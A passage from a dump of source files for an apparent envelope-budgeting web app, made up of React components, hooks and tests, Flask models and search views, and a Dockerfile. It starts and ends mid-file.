fireEvent.change(amounts[1], { target: { value: '-$43.21' } });\n\n await waitFor(() => expect(amounts[0]).toHaveDisplayValue('$43.21'));\n\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), 'refill envelope');\n\n const envelopes = screen.getAllByRole('textbox', { name: /envelope/i });\n userEvent.type(envelopes[1], 'Category 2:Envelope 2');\n userEvent.type(envelopes[0], 'Category 1:Envelope 1');\n\n userEvent.type(screen.getAllByRole('textbox', { name: /memo/i })[1], 'memo omem');\n userEvent.tab();\n\n const create = screen.getByRole('button', { name: /create/i });\n await waitFor(() => expect(create).toBeEnabled());\n\n userEvent.click(create);\n await waitFor(() => expect(mock.history.post.length).toBe(1));\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n type: 'allocation',\n payee: 'refill envelope',\n recordedDate: '2021-06-24',\n accountTransactions: [],\n envelopeTransactions: [\n {\n envelopeId: 1,\n memo: '',\n amount: 4321,\n },\n {\n envelopeId: 2,\n memo: 'memo omem',\n amount: -4321,\n },\n ],\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(4);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '2']);\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument(),\n );\n}, 15000);\n\ntest('should assist with balancing transaction', async () => {\n const { mock } = render();\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n userEvent.click(screen.getByRole('button', { name: /add envelope/i }));\n\n // Auto-balance on account side\n let amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(3);\n fireEvent.change(amounts[0], { target: { value: '$1234.56' } });\n userEvent.tab();\n\n const imbalancedText = 'Sum of account splits does not equal sum of envelope splits';\n\n await waitFor(() => expect(screen.getByText(imbalancedText)).toBeInTheDocument());\n expect(screen.getByRole('button', { name: /add balance \\(\\$1,234\\.56\\)/i })).toBeInTheDocument();\n userEvent.click(screen.getByRole('button', { name: /add balance \\(-\\$1,234\\.56\\)/i }));\n\n await waitFor(() => expect(screen.queryByText(imbalancedText)).not.toBeInTheDocument());\n expect(screen.queryAllByRole('textbox', { name: /account/i })).toHaveLength(2);\n expect(screen.queryAllByRole('textbox', { name: /envelope/i })).toHaveLength(2);\n expect(screen.queryByRole('button', { name: /add balance.*/i })).not.toBeInTheDocument();\n amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(4);\n expect(amounts[0]).toHaveDisplayValue('$1,234.56');\n expect(amounts[1]).toHaveDisplayValue('-$1,234.56');\n expect(amounts[2]).toHaveDisplayValue('$0.00');\n expect(amounts[3]).toHaveDisplayValue('$0.00');\n\n // Auto-balance on envelope side\n userEvent.click(screen.getAllByRole('button', { name: /delete account split/i })[0]);\n\n await waitFor(() => expect(screen.getByText(imbalancedText)).toBeInTheDocument());\n expect(screen.getByRole('button', { name: /add balance \\(\\$1,234\\.56\\)/i })).toBeInTheDocument();\n userEvent.click(screen.getByRole('button', { name: /add balance \\(-\\$1,234\\.56\\)/i }));\n\n await waitFor(() => expect(screen.queryByText(imbalancedText)).not.toBeInTheDocument());\n expect(screen.queryAllByRole('textbox', { name: /account/i })).toHaveLength(1);\n expect(screen.queryAllByRole('textbox', { name: /envelope/i })).toHaveLength(3);\n expect(screen.queryByRole('button', { name: /add balance.*/i })).not.toBeInTheDocument();\n amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(4);\n expect(amounts[0]).toHaveDisplayValue('-$1,234.56');\n expect(amounts[1]).toHaveDisplayValue('$0.00');\n expect(amounts[2]).toHaveDisplayValue('$0.00');\n expect(amounts[3]).toHaveDisplayValue('-$1,234.56');\n}, 15000);\n" }, { "alpha_fraction": 0.7551487684249878, "alphanum_fraction": 0.7551487684249878, "avg_line_length": 30.214284896850586, "blob_id": "6910e5732a5a7ba310f8d5618f5ec1f860e8094e", "content_id": "23087fa30e3bc58d64179196580425ae69c0a753", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 437, "license_type": "permissive", "max_line_length": 68, "num_lines": 14, "path": "/webapp/src/features/budgets/components/BudgetSelectField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "// Disable rule because this is a generic component\n/* eslint-disable react/jsx-props-no-spreading */\n\nimport React from 'react';\n\nimport EntitySelectField from 'common/components/EntitySelectField';\nimport useFetchBudgets from '../hooks/useFetchBudgets';\n\nconst BudgetSelectField = (props) => {\n const { budgets } = useFetchBudgets();\n return <EntitySelectField {...props} entities={budgets} />;\n};\n\nexport default BudgetSelectField;\n" }, { "alpha_fraction": 0.6522387862205505, "alphanum_fraction": 0.6522387862205505, "avg_line_length": 30.904762268066406, "blob_id": "d13f6e6642e31a74722c8eb97b430fb71ec9dbb4", "content_id": "e70ba9cd3e8e92346bc502f294c28146af24589f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 670, "license_type": "permissive", "max_line_length": 87, "num_lines": 21, "path": "/webapp/src/features/envelopes/hooks/useModifyEnvelope.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport toString from 'lodash/toString';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation(\n ({ created, id, lastUpdated, ...data }) => axios.put(`/api/envelopes/${id}`, data),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to modify envelope' }),\n refetchQueries: (_, { id }) => [\n ['envelope', toString(id)],\n ['envelope-categories', { ledger }],\n ],\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.7090069055557251, "alphanum_fraction": 0.7090069055557251, "avg_line_length": 38.3636360168457, "blob_id": "7d6a7f5e185e14295eeaec9d1815dbe8ab9e0781", "content_id": "2586771ae51b604606d07d9f21f0c6eb9fb0aef0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 433, "license_type": "permissive", "max_line_length": 90, "num_lines": 11, "path": "/webapp/src/features/budgets/hooks/useDeletePeriodicExpense.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default ({ budgetId }, opts) =>\n useMutation((id) => axios.delete(`/api/budget-periodic-expenses/${id}`), {\n createErrorMessage: useErrorMessage({ request: 'Unable to delete periodic expense' }),\n refetchQueries: [['budget-periodic-expenses', { budgetId }]],\n ...opts,\n });\n" }, { "alpha_fraction": 0.6271844506263733, "alphanum_fraction": 0.6368932127952576, "avg_line_length": 35.78571319580078, "blob_id": "810a959aae6406679b34f0980d49c7b35d93be16", "content_id": "c0ecc9491f99d7c4050039c503115c332ec64577", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 515, "license_type": "permissive", "max_line_length": 146, "num_lines": 14, "path": "/webapp/src/features/reconciliations/hooks/useFetchClearedTransactions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport { useQuery } from 'react-query';\n\nexport default ({ accountId, endingDate, enabled = true, ...opts }) =>\n useQuery(\n ['cleared-transactions', accountId, endingDate],\n async () => {\n const { data } = await axios.get(\n `/api/account-transactions/search?accountId=${accountId}&recordedDate=lte:${endingDate}&reconciliationId=is:null&cleared=True&size=10000`,\n );\n return data;\n },\n { enabled: enabled && !!accountId && !!endingDate, ...opts },\n );\n" }, { "alpha_fraction": 0.6945337653160095, "alphanum_fraction": 0.7138263583183289, "avg_line_length": 17.294116973876953, "blob_id": "32b04d1ab2dedda849735922b88650745de1605c", "content_id": "d022ef86af5022f4d81efa84906f427c23d0088d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 311, "license_type": "permissive", "max_line_length": 52, "num_lines": 17, "path": "/webapp/Dockerfile", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "FROM node:15.8.0-alpine as build\n\nWORKDIR /app\n\nCOPY package.json ./\nCOPY package-lock.json ./\nRUN npm ci\n\nCOPY . ./\nRUN npm run build\n\nFROM nginx:stable-alpine\n\nCOPY nginx/nginx.conf /etc/nginx/conf.d/default.conf\nCOPY --from=build /app/build /usr/share/nginx/html\nEXPOSE 80\nCMD [\"nginx\", \"-g\", \"daemon off;\"]\n" }, { "alpha_fraction": 0.6874736547470093, "alphanum_fraction": 0.6929565668106079, "avg_line_length": 36.63492202758789, "blob_id": "99965754f27f5d9be03ef841d56859c459ae497a", "content_id": "385b0ff5a77f9effd043f0686bb6c1876fb2bf3b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2371, "license_type": "permissive", "max_line_length": 84, "num_lines": 63, "path": "/backend/underbudget/models/envelope.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Envelope database models \"\"\"\nfrom typing import List\nfrom werkzeug.exceptions import Conflict\n\nfrom underbudget.database import db\nfrom underbudget.models.base import AuditModel, CrudModel\nfrom underbudget.models.ledger import LedgerModel\n\n\nclass EnvelopeCategoryModel(db.Model, AuditModel, CrudModel):\n \"\"\" Envelope category model \"\"\"\n\n __tablename__ = \"envelope_category\"\n\n id = db.Column(db.Integer, primary_key=True)\n ledger_id = db.Column(db.Integer, db.ForeignKey(\"ledger.id\"), nullable=False)\n envelopes = db.relationship(\"EnvelopeModel\", cascade=\"delete\")\n\n name = db.Column(db.String(128), nullable=False)\n\n @classmethod\n def find_by_ledger_id(cls, ledger_id: int) -> List[\"EnvelopeCategoryModel\"]:\n \"\"\" Queries for envelope categories under the given ledger ID \"\"\"\n return cls.query.filter_by(ledger_id=ledger_id).all()\n\n def delete(self):\n \"\"\" Deletes the category if it does not contain any child envelopes \"\"\"\n if len(self.envelopes) > 0:\n raise Conflict(\"Category contains envelopes\")\n super().delete()\n\n\nLedgerModel.envelope_categories = db.relationship(\n \"EnvelopeCategoryModel\", cascade=\"delete\"\n)\n\n\nclass EnvelopeModel(db.Model, AuditModel, CrudModel):\n \"\"\" Envelope model \"\"\"\n\n __tablename__ = \"envelope\"\n\n id = db.Column(db.Integer, primary_key=True)\n category_id = db.Column(\n db.Integer, db.ForeignKey(\"envelope_category.id\"), nullable=False\n )\n transactions = db.relationship(\"EnvelopeTransactionModel\", lazy=\"select\")\n periodic_expenses = db.relationship(\"BudgetPeriodicExpenseModel\", lazy=\"select\")\n annual_expenses = db.relationship(\"BudgetAnnualExpenseModel\", lazy=\"select\")\n\n name = db.Column(db.String(128), nullable=False)\n archived = db.Column(db.Boolean, nullable=False)\n external_id = db.Column(db.String(256), nullable=False)\n\n def delete(self):\n \"\"\" Deletes the envelope if it does not have any associated transactions \"\"\"\n if len(self.transactions) > 0:\n raise Conflict(\"Envelope is referenced by transactions\")\n if len(self.periodic_expenses) > 0:\n raise Conflict(\"Envelope is referenced by budgeted periodic expenses\")\n if len(self.annual_expenses) > 0:\n raise Conflict(\"Envelope is referenced by budgeted annual expenses\")\n super().delete()\n" }, { "alpha_fraction": 0.6050228476524353, "alphanum_fraction": 0.6050228476524353, "avg_line_length": 19.85714340209961, "blob_id": "86c55068518c7bfa3255ab302675f19f68c3cc20", "content_id": "85d94a39289b99140845ccfdaf142004211e269e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 438, "license_type": "permissive", "max_line_length": 63, "num_lines": 21, "path": "/webapp/src/common/contexts/selection/useSelectionReducer.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nconst initialState = [];\n\nconst reducer = (state, action) => {\n switch (action.type) {\n case 'clear':\n return [];\n\n case 'select':\n return [...state, action.payload];\n\n case 'unselect':\n return state.filter((i) => i !== action.payload);\n\n default:\n throw new Error(`Unhandled action type: ${action.type}`);\n }\n};\n\nexport default () => React.useReducer(reducer, initialState);\n" }, { "alpha_fraction": 0.4751773178577423, "alphanum_fraction": 0.4751773178577423, "avg_line_length": 14.666666984558105, "blob_id": "cc73ce43414e65a05f1a6bce510a73273f2cab83", "content_id": "47adff754dceff004aa52dc753822e85f8223e9c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 141, "license_type": "permissive", "max_line_length": 30, "num_lines": 9, "path": "/webapp/src/common/utils/to-list.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export default (args) => {\n if (args) {\n if (Array.isArray(args)) {\n return [...args];\n }\n return [args];\n }\n return [];\n};\n" }, { "alpha_fraction": 0.6483618021011353, "alphanum_fraction": 0.6490539908409119, "avg_line_length": 30.179855346679688, "blob_id": "0ffa414825d72bf9b17364af783518998db7a123", "content_id": "4941ced816de88d454cec007b9b195e7587660c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4334, "license_type": "permissive", "max_line_length": 99, "num_lines": 139, "path": "/webapp/src/features/accounts/routes/AccountTransactionsPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddCircleIcon from '@material-ui/icons/AddCircle';\nimport ArchiveIcon from '@material-ui/icons/Archive';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport EditIcon from '@material-ui/icons/Edit';\nimport PlaylistAddIcon from '@material-ui/icons/PlaylistAdd';\nimport PlaylistAddCheckIcon from '@material-ui/icons/PlaylistAddCheck';\nimport React from 'react';\nimport { Routes, Route, useLocation, useParams } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useMobile from 'common/hooks/useMobile';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport * as routes from 'common/utils/routes';\nimport {\n CreateTransactionDialog,\n ModifyTransactionDialog,\n TransactionDetailsDialog,\n TransactionHistory,\n useFetchAccountTransactions,\n} from 'features/transactions';\nimport ModifyAccountDialog from '../components/ModifyAccountDialog';\nimport useDeleteAccount from '../hooks/useDeleteAccount';\nimport useFetchAccount from '../hooks/useFetchAccount';\nimport useFetchAccountBalance from '../hooks/useFetchAccountBalance';\n\nconst parentRoute = { pathname: routes.accountsRoute(), search: '' };\n\nconst AccountTransactionsPage = () => {\n const confirm = useConfirmation();\n const formatMoney = useFormatMoney();\n const location = useLocation();\n const mobile = useMobile();\n const navigate = useNavigateKeepingSearch();\n\n const { mutate: deleteAccount } = useDeleteAccount({\n onSuccess: () => navigate(parentRoute),\n });\n\n const { id } = useParams();\n const { data } = useFetchAccount({ id });\n const { data: balanceData } = useFetchAccountBalance({ id });\n\n const handleDelete = React.useCallback(\n () =>\n confirm({\n message: [\n `Delete account ${data && data.name}?`,\n 'This action is permanent and cannot be undone.',\n ],\n }).then(() => {\n deleteAccount(id);\n }),\n [data, id],\n );\n\n const primaryActions = [\n {\n 'aria-label': 'Create transaction',\n icon: <AddCircleIcon />,\n onClick: () => navigate('create-transaction'),\n text: 'Create transaction',\n },\n {\n 'aria-label': 'Modify account',\n icon: <EditIcon />,\n onClick: () => navigate('modify'),\n text: 'Modify account',\n },\n ];\n\n const secondaryActions = [\n {\n 'aria-label': 'Reconcile account',\n icon: <PlaylistAddIcon />,\n onClick: () => navigate(routes.createReconciliationRoute(id), { state: { from: location } }),\n text: 'Reconcile account',\n },\n {\n 'aria-label': 'Reconciliations',\n icon: <PlaylistAddCheckIcon />,\n onClick: () => navigate(routes.accountReconciliationsRoute(id)),\n text: 'Reconciliations',\n },\n {\n 'aria-label': 'Delete account',\n disabled: balanceData && balanceData.total > 0,\n icon: <DeleteIcon />,\n onClick: handleDelete,\n text: 'Delete account',\n },\n {\n 'aria-label': 'Archive account',\n disabled: true,\n icon: <ArchiveIcon />,\n onClick: () => navigate('archive'),\n text: 'Archive account',\n },\n ];\n\n const title = React.useMemo(() => {\n if (!data) {\n return '...';\n }\n if (mobile || !balanceData) {\n return data.name;\n }\n return `${data.name} | ${formatMoney(balanceData.balance)}`;\n }, [data, balanceData, mobile]);\n\n return (\n <FullAppPage\n back={parentRoute}\n primaryActions={primaryActions}\n secondaryActions={secondaryActions}\n title={title}\n >\n <TransactionHistory hasCleared useFetchTransactions={useFetchAccountTransactions} />\n <Routes>\n <Route path='modify' element={<ModifyAccountDialog />} />\n <Route\n path='create-transaction'\n element={<CreateTransactionDialog initialAccountId={parseInt(id, 10)} />}\n />\n <Route\n path='modify-transaction/:transactionId/*'\n element={<ModifyTransactionDialog onExitNavigateTo='../..' />}\n />\n <Route\n path='transaction/:transactionId/*'\n element={<TransactionDetailsDialog onExitNavigateTo='../..' />}\n />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default AccountTransactionsPage;\n" }, { "alpha_fraction": 0.675000011920929, "alphanum_fraction": 0.675000011920929, "avg_line_length": 39, "blob_id": "5eec7f7a944e84a7ca83b2be574648f5bb5c3f13", "content_id": "61f1dd522f0e88b6c032ee275e9ae5786e6846f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 40, "license_type": "permissive", "max_line_length": 39, "num_lines": 1, "path": "/webapp/src/common/components/PureDrawer/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './PureDrawer';\n" }, { "alpha_fraction": 0.5922551155090332, "alphanum_fraction": 0.5990888476371765, "avg_line_length": 30.35714340209961, "blob_id": "d472aafecbb722bd84f95825184a2271957c1cf7", "content_id": "b135df5075336ed1290477700a0d61414a14b9f1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 439, "license_type": "permissive", "max_line_length": 89, "num_lines": 14, "path": "/webapp/src/features/reconciliations/hooks/useFetchUnreconciledTransactions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport { useQuery } from 'react-query';\n\nexport default ({ accountId, page = 1, size = 25 }) =>\n useQuery(\n ['unreconciled-transactions', accountId, { page, size }],\n async () => {\n const { data } = await axios.get(\n `/api/accounts/${accountId}/unreconciled-transactions?page=${page}&size=${size}`,\n );\n return data;\n },\n { enabled: !!accountId, keepPreviousData: true },\n );\n" }, { "alpha_fraction": 0.568740963935852, "alphanum_fraction": 0.5730825066566467, "avg_line_length": 25.576923370361328, "blob_id": "2167d688766b486dfe456eac1143263c6b9ec551", "content_id": "be1bdb115debd99d46d2097b5cb2a923f812fd8a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 691, "license_type": "permissive", "max_line_length": 78, "num_lines": 26, "path": "/webapp/src/features/reconciliations/hooks/useFetchReconciliationTransactions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport { useQuery } from 'react-query';\nimport { useSearchParams } from 'react-router-dom';\n\nexport default ({ defaultSize = 25, id }) => {\n const [searchParams] = useSearchParams({ page: 1, size: defaultSize });\n const page = searchParams.get('page');\n const size = searchParams.get('size');\n\n return {\n ...useQuery(\n ['reconciliation-transactions', id, { page, size }],\n async () => {\n const { data } = await axios.get(\n `/api/reconciliations/${id}/transactions?page=${page}&size=${size}`,\n );\n return data;\n },\n { keepPreviousData: true },\n ),\n pagination: {\n page,\n size,\n },\n };\n};\n" }, { "alpha_fraction": 0.6486486196517944, "alphanum_fraction": 0.6486486196517944, "avg_line_length": 36, "blob_id": "5c9862695800c174fc6b49884f7adae8abb8790c", "content_id": "38e0b94027708f808e39b223138abcfb7a3d87bb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 37, "license_type": "permissive", "max_line_length": 36, "num_lines": 1, "path": "/webapp/src/common/components/PureFab/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './PureFab';\n" }, { "alpha_fraction": 0.6845318675041199, "alphanum_fraction": 0.6845318675041199, "avg_line_length": 45.0625, "blob_id": "ccaaefa6b0b69bffe4b4a0346c3b064035f53da5", "content_id": "62c802a7d959695086be42b9e3cb19028fe73302", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1474, "license_type": "permissive", "max_line_length": 99, "num_lines": 32, "path": "/webapp/src/routes/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Route, Routes } from 'react-router-dom';\nimport React from 'react';\n\nimport * as routes from 'common/utils/routes';\nimport { AccountsListPage, AccountTransactionsPage } from 'features/accounts';\nimport { BudgetsPage, BudgetRoutes } from 'features/budgets';\nimport { EnvelopesListPage, EnvelopeTransactionsPage } from 'features/envelopes';\nimport { LedgersPage } from 'features/ledgers';\nimport {\n AccountReconciliationsPage,\n CreateReconciliationPage,\n ReconciliationPage,\n} from 'features/reconciliations';\n\nexport const AppRoutes = () => (\n <Routes>\n <Route path={routes.accountsRoute('*')} element={<AccountsListPage />} />\n <Route\n path={routes.accountReconciliationsRoute(':id')}\n element={<AccountReconciliationsPage />}\n />\n <Route path={routes.createReconciliationRoute(':id')} element={<CreateReconciliationPage />} />\n <Route path={routes.accountRoute(':id/*')} element={<AccountTransactionsPage />} />\n <Route path={routes.reconciliationRoute(':id/*')} element={<ReconciliationPage />} />\n <Route path={`${routes.BUDGETS}/*`} element={<BudgetsPage />} />\n <Route path={`${routes.BUDGET}/*`} element={<BudgetRoutes />} />\n <Route path={`${routes.ENVELOPES}/*`} element={<EnvelopesListPage />} />\n <Route path={`${routes.ENVELOPE}/:id/*`} element={<EnvelopeTransactionsPage />} />\n <Route path={`${routes.LEDGERS}/*`} element={<LedgersPage />} />\n <Route path='*' element={<div>hi</div>} />\n </Routes>\n);\n" }, { "alpha_fraction": 0.5478261113166809, "alphanum_fraction": 0.7130434513092041, "avg_line_length": 18.16666603088379, "blob_id": "d883396ad1ea5889e51a34c2348767695bb3d2cf", "content_id": "a3780553027dd7c8b6a91ad0c67ab9b08e0d24e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 115, "license_type": "permissive", "max_line_length": 23, "num_lines": 6, "path": "/backend/requirements.txt", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "Flask>=1.1.2\nFlask-Migrate>=2.6.0\nFlask-SQLAlchemy>=2.4.4\nmarshmallow>=3.0.0\npsycopg2-binary>=2.8.6\nwebargs>=7.0.1\n" }, { "alpha_fraction": 0.7090592384338379, "alphanum_fraction": 0.7090592384338379, "avg_line_length": 26.33333396911621, "blob_id": "bbe9bc863879abc52337e7c4faabf8adeaabeb05", "content_id": "6e2e7ec0f78f4246438fdfad2246720d12b42d13", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 574, "license_type": "permissive", "max_line_length": 63, "num_lines": 21, "path": "/webapp/src/features/envelopes/components/CreateEnvelopeDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from '../../../common/components/FormDialog';\nimport useCreateEnvelope from '../hooks/useCreateEnvelope';\nimport EnvelopeForm from './EnvelopeForm';\n\nconst CreateEnvelopeDialog = () => {\n const { mutate } = useCreateEnvelope();\n return (\n <FormDialog\n actionText='Create'\n FormComponent={EnvelopeForm}\n initialValues={EnvelopeForm.initialValues}\n onSubmit={mutate}\n title='Create Envelope'\n validationSchema={EnvelopeForm.validationSchema}\n />\n );\n};\n\nexport default CreateEnvelopeDialog;\n" }, { "alpha_fraction": 0.7111111283302307, "alphanum_fraction": 0.7111111283302307, "avg_line_length": 44, "blob_id": "8a50a79feece0759a85b797fa9b2b87c4e66c5b5", "content_id": "27d88e0af66c1bae62a218c0311156f30c8acdd5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 45, "license_type": "permissive", "max_line_length": 44, "num_lines": 1, "path": "/webapp/src/features/transactions/components/TransactionForm/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './TransactionForm';\n" }, { "alpha_fraction": 0.6529920697212219, "alphanum_fraction": 0.6529920697212219, "avg_line_length": 36.42253494262695, "blob_id": "23f24decfa427d6c7b1d6b3ddb0d6e7f3bae0a45", "content_id": "49254f2b10cc8db51cf360ead046a13dc293508c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2657, "license_type": "permissive", "max_line_length": 84, "num_lines": 71, "path": "/backend/underbudget/views/transaction_queries.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Transaction REST views \"\"\"\nfrom flask import Blueprint, Flask, request\nfrom marshmallow import utils\n\nimport underbudget.common.filter_params as filter_params\nfrom underbudget.common.decorators import with_pagination\nfrom underbudget.models.transaction import (\n AccountTransactionModel,\n EnvelopeTransactionModel,\n TransactionType,\n)\nfrom underbudget.schemas.transaction import (\n AccountTransactionSearchSchema,\n EnvelopeTransactionSearchSchema,\n)\n\n\nblueprint = Blueprint(\"transaction_queries\", __name__)\n\n\ndef register(app: Flask):\n \"\"\" Registers the blueprint \"\"\"\n app.register_blueprint(blueprint)\n\n\[email protected](\"/api/account-transactions/search\", methods=[\"GET\"])\n@with_pagination\ndef search_account_transactions(page: int, size: int):\n \"\"\" Searches for account transactions \"\"\"\n return AccountTransactionSearchSchema().dump(\n AccountTransactionModel.search(\n page=page,\n size=size,\n account_id=filter_params.split_in(request.args.get(\"accountId\"), int),\n amount=filter_params.split_comp(request.args.get(\"amount\"), int),\n cleared=filter_params.split_bool(request.args.get(\"cleared\")),\n memo=filter_params.split_str(request.args.get(\"memo\")),\n payee=filter_params.split_str(request.args.get(\"payee\")),\n reconciliation_id=filter_params.split_in(\n request.args.get(\"reconciliationId\"), int\n ),\n recorded_date=filter_params.split_comp(\n request.args.get(\"recordedDate\"), utils.from_iso_date\n ),\n transaction_type=filter_params.split_in(\n request.args.get(\"type\"), TransactionType.parse\n ),\n )\n )\n\n\[email protected](\"/api/envelope-transactions/search\", methods=[\"GET\"])\n@with_pagination\ndef search_envelope_transactions(page: int, size: int):\n \"\"\" Searches for envelope transactions \"\"\"\n return EnvelopeTransactionSearchSchema().dump(\n EnvelopeTransactionModel.search(\n page=page,\n size=size,\n amount=filter_params.split_comp(request.args.get(\"amount\"), int),\n envelope_id=filter_params.split_in(request.args.get(\"envelopeId\"), int),\n memo=filter_params.split_str(request.args.get(\"memo\")),\n payee=filter_params.split_str(request.args.get(\"payee\")),\n recorded_date=filter_params.split_comp(\n request.args.get(\"recordedDate\"), utils.from_iso_date\n ),\n transaction_type=filter_params.split_in(\n request.args.get(\"type\"), TransactionType.parse\n ),\n )\n )\n" }, { "alpha_fraction": 0.6234802603721619, "alphanum_fraction": 0.6371580362319946, "avg_line_length": 31.49382781982422, "blob_id": "f1c1b21a29a1d6b98b7b09c697440fdd79203e16", "content_id": "9a5b7329ae08806b35fa573748d07cbfc7232997", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2632, "license_type": "permissive", "max_line_length": 89, "num_lines": 81, "path": "/webapp/src/features/envelopes/components/__tests__/EnvelopeSelectField.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render as baseRender, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { MemoryRouter } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport EnvelopeSelectField from '../EnvelopeSelectField';\n\nconst render = ({ initialValues = {}, ...formikProps } = {}) => {\n setSelectedLedger(2);\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { staleTime: Infinity } },\n });\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers/2/envelope-categories').reply(200, {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n envelopes: [\n { id: 1, name: 'Envelope 1' },\n { id: 2, name: 'Envelope 2' },\n ],\n },\n { id: 2, name: 'Category 2' },\n {\n id: 3,\n name: 'Category 3',\n envelopes: [{ id: 3, name: 'Envelope 3' }],\n },\n ],\n });\n\n const handleSubmit = jest.fn();\n\n return {\n ...baseRender(\n <QueryClientProvider client={queryClient}>\n <MemoryRouter>\n <Formik initialValues={initialValues} onSubmit={handleSubmit} {...formikProps}>\n <Form>\n <Field name='envelope' component={EnvelopeSelectField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>\n </MemoryRouter>\n </QueryClientProvider>,\n ),\n handleSubmit,\n mockAxios,\n };\n};\n\ntest('should use flattened list of envelopes as selectable options', async () => {\n const { handleSubmit } = render({ initialValues: { envelope: 2 } });\n\n const textbox = screen.getByRole('textbox');\n await waitFor(() => expect(textbox).toHaveValue('Category 1:Envelope 2'));\n\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n\n const options = 